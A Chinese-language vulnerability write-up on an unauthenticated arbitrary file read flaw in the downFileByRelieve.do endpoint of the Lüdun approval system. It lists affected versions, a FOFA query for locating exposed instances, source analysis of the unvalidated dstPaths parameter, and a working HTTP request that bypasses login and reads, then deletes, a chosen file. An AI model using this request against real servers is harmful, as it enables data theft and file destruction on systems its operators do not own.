漏洞简介

天锐绿盾审批系统是一款专注于企业数据安全与合规管理的智能审批平台，深度融合文档加密、权限管控与流程自动化，为企业提供从文件创建、流转到归档的全生命周期安全管控。

该系统的 downFileByRelieve.do 接口存在任意文件读取漏洞。未经身份验证的攻击者可以通过该漏洞读取系统上的任意文件，从而可能获取数据库敏感信息或其他重要配置信息，导致数据泄露。

影响版本

可通过访问 /trwfe/exports/config.ini 获取版本信息

V3.53.240913

V7.05.240904

fofa语法

app="TIPPAY-绿盾审批系统"

漏洞分析

先看downFileByRelieve.do的实现

最终都会删除传入的文件

跟进fileService.downLoadFile 方法，看下fileService.downLoadFile的实现逻辑

直接将从用户端接收的 dstPaths 参数，不经验证地用于 new FileInputStream(((DownFileMsg)files.get(0)).getFile()) 来实例化文件对象，并最终传递给 FileInputStream 进行读取，攻击者可以构造包含绝对路径或 ../ 目录遍历序列的恶意 dstPath 参数，读取服务器文件系统上任意位置的、具有应用运行权限可读的任何文件。

fileService.downLoadFile最终会删除读取的文件

测试时应该谨慎测试，最好自己上传一个文件来测试，避免删除了系统重要文件导致系统宕机的尴尬。

漏洞复现

漏洞测试会删除对应文件，谨慎测试

POST /trwfe/login.jsp/.%2e/file/downFileByRelieve.do HTTP/1.1
Host: trwfe.mrxn.net
Content-Type: application/x-www-form-urlencoded

dstPaths=c:\a.txt&fileNames=1.png&isDirArr=0&processInstanceIds=&isapproval=auto

成功读取到c:\a.txt文件内容